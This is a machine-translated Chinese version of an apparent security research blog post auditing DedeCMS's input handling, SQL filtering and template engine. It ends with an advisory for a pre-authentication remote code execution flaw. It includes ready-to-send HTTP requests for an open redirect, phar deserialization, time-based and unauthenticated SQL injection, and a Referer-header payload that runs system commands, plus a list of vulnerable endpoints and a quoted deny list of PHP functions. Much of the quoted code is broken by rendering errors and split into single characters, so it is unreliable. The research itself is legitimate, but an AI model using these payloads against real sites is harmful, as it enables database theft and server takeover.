在这篇博文中,我将分享对 Dedecms(或翻译成英文的“Chasing a Dream”CMS)的技术评论,包括它的攻击面以及它与其他应用程序的不同之处。最后,我将结束一个影响v5.8.1 预发布的预认证远程代码执行漏洞。这是一款有趣的软件,因为它自最初发布以来已有 14 年的历史,而且 PHP 多年来发生了很大变化。
对于网上搜索“什么是中国最大的CMS”很快发现,多 源 的状态是DEDECMS是最流行的。然而,这些来源几乎都有一个共同点:它们都是旧的。
所以,我决定做一个粗略的搜索:
该产品部署非常广泛,但自2020 年 12 月 11 日推出以来,此处详述的漏洞影响了少数站点,并且从未将其纳入发布版本。
威胁建模
免责声明:我没有实际威胁建模的经验。在审核目标时,我问自己的第一件事是:如何将输入接受到应用程序中?好吧,事实证明这个目标的问题的答案是在include/common.inc.php脚本中:
function _RunMagicQuotes(&KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (is_array(svar)) {
foreach ($svar as $_k => $_v) {
s
v
a
r
[
svar[
svar[_k] = _RunMagicQuotes($_v);
}
} else {
if (strlen($svar) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $svar)) {
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}
//…
if (!defined(‘DEDEREQUEST’)) {
//检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤)
function CheckRequest(&KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (is_array(val)) {
foreach ($val as $_k => KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (_k == ‘nvarname’) {
continue;
}
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else {
if (strlen($val) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $val)) { // 2
exit('Request var not allow!');
}
}
}
CheckRequest($_REQUEST);
CheckRequest($_COOKIE);
foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
foreach ($$_request as $_k => $_v) {
if ($_k == 'nvarname') {
${$_k} = $_v;
} else {
${$_k} = _RunMagicQuotes($_v); // 1
}
}
}
}
如果我们在这里密切注意,我们可以在[1]看到代码重新启用,该代码register_globals已在PHP 5.4 中删除。
register_globals过去一直是应用程序的一个大问题,并且支持非常丰富的攻击面,这也是 PHP 过去声誉不佳的原因之一。还要注意,它们不保护[2]处的全局数组 S E R V E R 或 _SERVER或 SERVER或_FILES超级全局数组。
这可能会导致行[3] 中的开放重定向 http://target.tld/dede/co_url.php?_SERVER[SERVER_SOFTWARE]=PHP%201%20Development%20Server&_SERVER[SCRIPT_NAME]=http://google.com/或 phar 反序列化等风险include/uploadsafe.inc.php
foreach ($_FILES as $_key => KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ foreach (keyarr as KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (!isset(FILES[
k
e
y
]
[
_key][
key][k])) {
exit(“DedeCMS Error: Request Error!”);
}
}
if (preg_match(’#^(cfg|GLOBALS)#’, $_key)) {
exit(‘Request var not allow for uploadsafe!’);
}
$$_key =
F
I
L
E
S
[
_FILES[
FILES[_key][‘tmp_name’];
KaTeX parse error: Expected '}', got 'EOF' at end of input: {_key . ‘_name’} =
F
I
L
E
S
[
_FILES[
FILES[_key][‘name’]; // 4
KaTeX parse error: Expected '}', got 'EOF' at end of input: {_key . ‘_type’} =
F
I
L
E
S
[
_FILES[
FILES[_key][‘type’] = preg_replace(’#[^0-9a-z./]#i’, ‘’,
F
I
L
E
S
[
_FILES[
FILES[_key][‘type’]);
KaTeX parse error: Expected '}', got 'EOF' at end of input: {_key . ‘_size’} =
F
I
L
E
S
[
_FILES[
FILES[_key][‘size’] = preg_replace(’#[^0-9]#’, ‘’,
F
I
L
E
S
[
_FILES[
FILES[_key][‘size’]);
if (is_array(${$_key . '_name'}) && count(${$_key . '_name'}) > 0) {
foreach (${$_key . '_name'} as $key => $value) {
if (!empty($value) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", $value) || !preg_match("#\.#", $value))) {
if (!defined('DEDEADMIN')) {
exit('Not Admin Upload filetype not allow !');
}
}
}
} else {
if (!empty(${$_key . '_name'}) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", ${$_key . '_name'}) || !preg_match("#\.#", ${$_key . '_name'}))) {
if (!defined('DEDEADMIN')) {
exit('Not Admin Upload filetype not allow !');
}
}
}
if (empty(${$_key . '_size'})) {
${$_key . '_size'} = @filesize($$_key); // 3
}
GET /plus/recommend.php?_FILES[poc][name]=0&_FILES[poc][type]=1337&_FILES[poc][tmp_name]=phar:///path/to/uploaded/phar.rce&_FILES[poc][size]=1337 HTTP/1.1
Host: target
我没有报告这些错误,因为它们没有产生任何影响(否则我会称它们为漏洞)。开放 URL 重定向错误本身无法进一步攻击攻击者,如果没有小工具链,则无法触发 phar 反序列化错误。
不过,训练有素的眼睛会发现一些特别有趣的东西。在第[4] 行,代码使用_name未过滤的字符串创建了一个攻击者控制的变量_RunMagicQuotes。这意味着具有管理员凭据的攻击者可以sys_payment.php通过_RunMagicQuotes使用文件上传绕过该函数来触发脚本中的 SQL 注入:
作为参考,我们可以看到 SQL 注入在内部是如何表现的dede/sys_payment.php:
//配置支付接口
else if (KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ // 5 if (pay_name == “” || $pay_desc == “” || $pay_fee == “”) { // 6
ShowMsg(“您有未填写的项目!”, “-1”);
exit();
}
$row = KaTeX parse error: Expected 'EOF', got '#' at position 30: …SELECT * FROM `#̲@__payment` WHE…pid’");
if ($cfg_soft_lang == ‘utf-8’) {
c
o
n
f
i
g
=
A
u
t
o
C
h
a
r
s
e
t
(
u
n
s
e
r
i
a
l
i
z
e
(
u
t
f
82
g
b
(
config = AutoCharset(unserialize(utf82gb(
config=AutoCharset(unserialize(utf82gb(row[‘config’])));
} else if ($cfg_soft_lang == ‘gb2312’) {
c
o
n
f
i
g
=
u
n
s
e
r
i
a
l
i
z
e
(
config = unserialize(
config=unserialize(row[‘config’]);
}
$payments = “‘code’ => '” .
r
o
w
[
′
c
o
d
e
′
]
.
"
′
,
"
;
f
o
r
e
a
c
h
(
row['code'] . "',"; foreach (
row[′code′]."′,";foreach(config as $key => $v) {
c
o
n
f
i
g
[
config[
config[key][‘value’] = KaTeX parse error: Expected '}', got 'EOF' at end of input: {key};
$payments .= “’” . $key . “’ => '” .
c
o
n
f
i
g
[
config[
config[key][‘value’] . “’,”;
}
p
a
y
m
e
n
t
s
=
s
u
b
s
t
r
(
payments = substr(
payments=substr(payments, 0, -1);
$payment = “$payment=array(” . $payments . “)”;
$configstr = “<” . “?php\r\n” . KaTeX parse error: Can't use function '\r' in math mode at position 12: payment . "\̲r̲\n?" . ">\r\n";…payment)) {
$m_file = DEDEDATA . “/payment/” . $row[‘code’] . “.php”;
f
p
=
f
o
p
e
n
(
fp = fopen(
fp=fopen(m_file, “w”) or die("写入文件
s
a
f
e
c
o
n
f
i
g
f
i
l
e
失
败
,
请
检
查
权
限
!
"
)
;
f
w
r
i
t
e
(
safeconfigfile 失败,请检查权限!"); fwrite(
safeconfigfile失败,请检查权限!");fwrite(fp,
c
o
n
f
i
g
s
t
r
)
;
f
c
l
o
s
e
(
configstr); fclose(
configstr);fclose(fp);
}
if ($cfg_soft_lang == ‘utf-8’) {
c
o
n
f
i
g
=
A
u
t
o
C
h
a
r
s
e
t
(
config = AutoCharset(
config=AutoCharset(config, ‘utf-8’, ‘gb2312’);
c
o
n
f
i
g
=
s
e
r
i
a
l
i
z
e
(
config = serialize(
config=serialize(config);
c
o
n
f
i
g
=
g
b
2
u
t
f
8
(
config = gb2utf8(
config=gb2utf8(config);
} else {
c
o
n
f
i
g
=
s
e
r
i
a
l
i
z
e
(
config = serialize(
config=serialize(config);
}
$query = "UPDATE `#@__payment` SET name = '$pay_name',fee='$pay_fee',description='$pay_desc',config='$config',enabled='1' WHERE id='$pid'"; // 7
$dsql->ExecuteNoneQuery($query); // 8
在[5]和[6] 处,有一些检查 d o p o s t 设 置 为 c o n f i g 和 dopost设置为config和 dopost设置为config和pay_name, p a y d e s c 并 且 pay_desc并且 paydesc并且pay_fee是从请求中设置的。稍后在[7]代码使用提供的攻击者构建原始 SQL 查询$pay_name,最后在[8]我认为触发了 SQL 注入…
纵深防御
过去,Dedecms 开发人员受到SQL 注入漏洞的严重打击(可能是由于register_globals在源代码级别启用)。在上面的例子中,我们得到了服务器的响应Safe Alert: Request Error step 2,当然我们的注入失败了。这是为什么?查看include/dedesqli.class.php以了解:
//SQL语句过滤程序,由80sec提供,这里作了适当的修改
function CheckSql($db_string, $querytype = ‘select’)
{
// ...more checks...
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) {
$fail = true;
$error = "union detect";
}
// ...more checks...
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0) {
$fail = true;
$error = "sub select detect";
}
if (!empty($fail)) {
fputs(fopen($log_file, 'a+'), "$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>"); // 9
} else {
return $db_string;
}
现在我不知道80Sec是谁,但他们看起来很严肃。在CheckSql从被称为Execute
//执行一个带返回结果的SQL语句,如SELECT,SHOW等
public function Execute($id = "me", $sql = '')
{
//...
//SQL语句安全检查
if ($this->safeCheck) {
CheckSql($this->queryString);
}
和SetQuery:
public function SetQuery($sql)
{
$prefix = "#@__";
$sql = trim($sql);
if (substr($sql, -1) !== ";") {
$sql .= ";";
}
$sql = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $sql);
CheckSql($sql, $this->getSQLType($sql)); // 5.7前版本仅做了SELECT的过滤,对UPDATE、INSERT、DELETE等语句并未过滤。
$this->queryString = $sql;
}
但是我们可以通过使用另一个同样调用的函数来避免这个函数,mysqli_query例如GetTableFields:
//获取特定表的信息
public function GetTableFields($tbname, $id = "me")
{
global $dsqli;
if (!$dsqli->isInit) {
$this->Init($this->pconnect);
}
$prefix = "#@__";
$tbname = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $tbname);
$query = "SELECT * FROM {$tbname} LIMIT 0,1";
$this->result[$id] = mysqli_query($this->linkID, $query);
}
这不是,只是任何旧水槽。这个不使用引号,所以我们不需要打破带引号的字符串,这是必需的,因为我们的输入将流经_RunMagicQuotes函数。GetTableFields可以dede/sys_data_done.php在第[10]行的脚本中找到危险的用法:
if (KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (empty(tablearr)) {
ShowMsg(‘你没选中任何表!’, ‘javascript:;’);
exit();
}
if (!is_dir(KaTeX parse error: Expected '}', got 'EOF' at end of input: … MkdirAll(bkdir, $cfg_dir_purview);
CloseFtp();
}
if (empty($nowtable)) {
$nowtable = '';
}
if (empty($fsize)) {
$fsize = 20480;
}
$fsizeb = $fsize * 1024;
//第一页的操作
if ($nowtable == '') {
//...
}
//执行分页备份
else {
$j = 0;
$fs = array();
$bakStr = '';
//分析表里的字段信息
$dsql->GetTableFields($nowtable); // 10
GET /dede/sys_data_done.php?dopost=bak&tablearr=1&nowtable=%23@__vote+where+1=sleep(5)–+& HTTP/1.1
Host: target
Cookie: PHPSESSID=jr66dkukb66aifov2sf2cuvuah;
但是当然,这需要管理员权限,我们对此并不感兴趣(没有提升权限或绕过身份验证)。
查找预先验证的端点
如果我们尝试有点困难,虽然,我们可以找到一些更有趣的代码include/filter.inc.php在稍旧版本:DedeCMS-V5.7-UTF8-SP2.tar.gz。
m
a
g
i
c
q
u
o
t
e
s
g
p
c
=
i
n
i
g
e
t
(
′
m
a
g
i
c
q
u
o
t
e
s
g
p
c
′
)
;
f
u
n
c
t
i
o
n
F
i
l
t
e
r
A
l
l
(
magic_quotes_gpc = ini_get('magic_quotes_gpc'); function _FilterAll(
magicquotesgpc=iniget(′magicquotesgpc′);functionFilterAll(fk, &$svar)
{
global $cfg_notallowstr, $cfg_replacestr,
m
a
g
i
c
q
u
o
t
e
s
g
p
c
;
i
f
(
i
s
a
r
r
a
y
(
magic_quotes_gpc; if (is_array(
magicquotesgpc;if(isarray(svar)) {
foreach ($svar as $_k => $_v) {
s
v
a
r
[
svar[
svar[_k] = _FilterAll($fk, KaTeX parse error: Expected 'EOF', got '}' at position 14: _v); }̲ } else { …cfg_notallowstr != ‘’ && preg_match("#" . $cfg_notallowstr . “#i”, $svar)) {
ShowMsg(" KaTeX parse error: Expected 'EOF', got '}' at position 62: …xit(); }̲ if (cfg_replacestr != ‘’) {
$svar = preg_replace(’/’ . $cfg_replacestr . ‘/i’, “***”, KaTeX parse error: Expected 'EOF', got '}' at position 16: svar); }̲ } if (…magic_quotes_gpc) {
s
v
a
r
=
a
d
d
s
l
a
s
h
e
s
(
svar = addslashes(
svar=addslashes(svar);
}
return $svar;
}
/* 对_GET,_POST,_COOKIE进行过滤 */
foreach (array(’_GET’, ‘_POST’, ‘_COOKIE’) as KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ foreach ($_request as $_k => $_v) {
KaTeX parse error: Expected '}', got 'EOF' at end of input: {_k} = _FilterAll($_k, KaTeX parse error: Expected 'EOF', got '}' at position 10: _v); }̲ } 你能看出这里有什么问题吗…magic_quotes_gpc配置中的代码集。如果它没有在php.inithen 中设置,则addslashes调用。但是我们可以通过$magic_quotes_gpc在请求中使用并重写该变量并避免addslashes!
此代码用于提交由未经身份验证的用户执行的反馈。我决定看一看,我发现以下沉没/plus/bookfeedback.php:
else if(KaTeX parse error: Expected '}', got 'EOF' at end of input: …//检查验证码 if(cfg_feedback_ck==‘Y’)
{
v
a
l
i
d
a
t
e
=
i
s
s
e
t
(
validate = isset(
validate=isset(validate) ? strtolower(trim($validate)) : ‘’;
s
v
a
l
i
=
s
t
r
t
o
l
o
w
e
r
(
t
r
i
m
(
G
e
t
C
k
V
d
V
a
l
u
e
(
)
)
)
;
i
f
(
svali = strtolower(trim(GetCkVdValue())); if(
svali=strtolower(trim(GetCkVdValue()));if(validate != $svali || $svali==’’)
{
ResetVdValue();
ShowMsg(‘验证码错误!’,’-1’);
exit();
}
}
//...
if($comtype == 'comments')
{
$arctitle = addslashes($arcRow['arctitle']);
$arctitle = $arcRow['arctitle'];
if($msg!='')
{
$inquery = "INSERT INTO `#@__bookfeedback`(`aid`,`catid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$catid','$username','$bookname','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); "; // 11
$rs = $dsql->ExecuteNoneQuery($inquery); // 12
if(!$rs)
{
echo $dsql->GetError();
exit();
}
}
}
在[11] 中,我们可以看到代码使用攻击者控制的输入(例如 c a t i d 和 ) 构 建 查 询 catid和 )构建查询 catid和)构建查询bookname。有可能进入这个接收器并绕过addslashes触发未经身份验证的 SQL 注入:
POST /plus/bookfeedback.php?action=send&fid=1337&validate=FS0Y&isconfirm=yes&comtype=comments HTTP/1.1
Host: target
Cookie: PHPSESSID=0ft86536dgqs1uonf64bvjpkh3;
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
magic_quotes_gpc=1&catid=1’,version(),concat(’&bookname=’)||'s&msg=pwn
我们设置了会话 cookie,因为它与存储在未经身份验证的会话中的验证码相关联:
CheckSql幸运的是,我无法绕过(不),但我可以绕过并从数据库中泄漏一些数据,因为我可以同时使用 c a t i d 和 catid和 catid和bookname进行注入,然后(ab)使用第二个命令:
else if($action==‘quote’)
{
$row = KaTeX parse error: Expected 'EOF', got '#' at position 30: …Select * from `#̲@__bookfeedback…fid’");
require_once(DEDEINC.’/dedetemplate.class.php’);
$dtp = new DedeTemplate();
d
t
p
−
>
L
o
a
d
T
e
m
p
l
a
t
e
(
dtp->LoadTemplate(
dtp−>LoadTemplate(cfg_basedir.$cfg_templets_dir.’/plus/bookfeedback_quote.htm’);
KaTeX parse error: Expected 'EOF', got '}' at position 29: …); exit(); }̲ 我所要做的就是猜测fid(主键)并通过注入$msg的检查它是否匹配pwn,如果匹配,我知道注入的结果已显示给我:
然而,这个 SQL 注入是有限的,因为我不能使用select,sleep或benchmark关键字,因为它们被CheckSql函数拒绝了。自从发现该漏洞以来,开发人员似乎/plus/bookfeedback.php在最新版本中删除了该文件,但绕过的核心问题addslashes仍然存在。在这一点上,如果我们要找到关键漏洞,我们需要关注不同的错误类别。
ShowMsg 模板注入远程代码执行漏洞
CVSS: 9.8 (/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
版本:5.8.1 预发布
概括
未经身份验证的攻击者可以针对易受攻击的 Dedecms 版本执行任意代码。
漏洞分析
plus/flink.php脚本内部:
if ($dopost == ‘save’) {
v
a
l
i
d
a
t
e
=
i
s
s
e
t
(
validate = isset(
validate=isset(validate) ? strtolower(trim($validate)) : ‘’;
s
v
a
l
i
=
G
e
t
C
k
V
d
V
a
l
u
e
(
)
;
i
f
(
svali = GetCkVdValue(); if (
svali=GetCkVdValue();if(validate == ‘’ || $validate != $svali) {
ShowMsg(‘验证码不正确!’, ‘-1’); // 1
exit();
}
在[1] 处,我们可以观察到ShowMsg在 中定义的调用include/common.func.php:
function ShowMsg($msg, $gourl, $onlymsg = 0, KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (empty(GLOBALS[‘cfg_plus_dir’])) {
KaTeX parse error: Expected 'EOF', got '}' at position 37: …'] = '..'; }̲ if (gourl == -1) { // 2
g
o
u
r
l
=
i
s
s
e
t
(
gourl = isset(
gourl=isset(_SERVER[‘HTTP_REFERER’]) ?
S
E
R
V
E
R
[
′
H
T
T
P
R
E
F
E
R
E
R
′
]
:
′
′
;
/
/
3
i
f
(
_SERVER['HTTP_REFERER'] : ''; // 3 if (
SERVER[′HTTPREFERER′]:′′;//3if(gourl == “”) {
$gourl = -1;
}
}
$htmlhead = "
<html>\r\n<head>\r\n<title>DedeCMS提示信息
...
<script>\r\n";
$htmlfoot = "
</script>
...
</body>\r\n</html>\r\n";
$litime = ($limittime == 0 ? 1000 : $limittime);
$func = '';
//...
if ($gourl == '' || $onlymsg == 1) {
//...
} else {
//...
$func .= "var pgo=0;
function JumpUrl(){
if(pgo==0){ location='$gourl'; pgo=1; }
}\r\n";
$rmsg = $func;
//...
if ($onlymsg == 0) {
if ($gourl != 'javascript:;' && $gourl != '') {
$rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
$rmsg .= "<br/></div>\");\r\n";
$rmsg .= "setTimeout('JumpUrl()',$litime);";
} else {
//...
}
} else {
//...
}
$msg = $htmlhead . $rmsg . $htmlfoot;
}
$tpl = new DedeTemplate();
$tpl->LoadString($msg); // 4
$tpl->Display(); // 5
}
我们可以在[2]中看到,如果
g
o
u
r
l
设
置
为
−
1
,
则
攻
击
者
可
以
通
过
引
用
标
头
控
制
[
3
]
gourl设置为 -1,则攻击者可以通过引用标头控制[3]
gourl设置为−1,则攻击者可以通过引用标头控制[3]gourl处的变量。该变量未过滤并嵌入到变量中,该变量由[4]处的调用加载并由[5]处的调用解析。在里面我们发现:$msgLoadStringDisplayinclude/dedetemplate.class.php
class DedeTemplate
{
//…
public function LoadString($str = ‘’)
{
$this->sourceString = $str; // 6
h
a
s
h
c
o
d
e
=
m
d
5
(
hashcode = md5(
hashcode=md5(this->sourceString);
$this->cacheFile = $this->cacheDir . “/string_” . $hashcode . “.inc”;
$this->configFile = $this->cacheDir . “/string_” . $hashcode . “_config.inc”;
$this->ParseTemplate();
}
//...
public function Display()
{
global $gtmpfile;
extract($GLOBALS, EXTR_SKIP);
$this->WriteCache(); // 7
include $this->cacheFile; // 9
}
在[6]的sourceString设置与攻击者控制的$msg。然后在[7] 处 WriteCache被调用:
public function WriteCache($ctype = 'all')
{
if (!file_exists($this->cacheFile) || $this->isCache == false
|| (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))
) {
if (!$this->isParse) {
//...
}
$fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
flock($fp, 3);
$result = trim($this->GetResult()); // 8
$errmsg = '';
if (!$this->CheckDisabledFunctions($result, $errmsg)) { // 9
fclose($fp);
@unlink($this->cacheFile);
die($errmsg);
}
fwrite($fp, $result);
fclose($fp);
//...
}
在[8] 处,代码调用GetResult返回值sourceString来设置 r e s u l t 变 量 , 该 变 量 现 在 包 含 攻 击 者 控 制 的 输 入 。 在 [ 9 ] 处 , 该 C h e c k D i s a b l e d F u n c t i o n s 函 数 在 result变量,该变量现在包含攻击者控制的输入。在[9] 处,该CheckDisabledFunctions函数在 result变量,该变量现在包含攻击者控制的输入。在[9]处,该CheckDisabledFunctions函数在result变量上被调用。让我们看看是什么CheckDisabledFunctions:
public function CheckDisabledFunctions($str, &$errmsg = '')
{
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
// 模板引擎增加disable_functions
if (!defined('DEDEDISFUN')) {
$tokens = token_get_all_nl($str);
$disabled_functions = explode(',', $cfg_disable_funs);
foreach ($tokens as $token) {
if (is_array($token)) {
if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
$errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
return false;
}
}
}
}
return true;
}
好。这是可能的攻击者绕过此否认与一些创意几种方式列表,写出恶意PHP到临时文件,并最终达到include在Display在[9]执行任意代码。
概念证明
可以借用自己的代码并调用危险函数,但无论如何都有几种通用方法可以绕过拒绝列表。不检查引用标头是否有双引号,因此以下有效负载将起作用:
GET /plus/flink.php?dopost=save&c=id HTTP/1.1
Host: target
Referer: <?php “system”($c);die;/*
以下(非详尽的)列表路径可以到达该漏洞:
/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php
…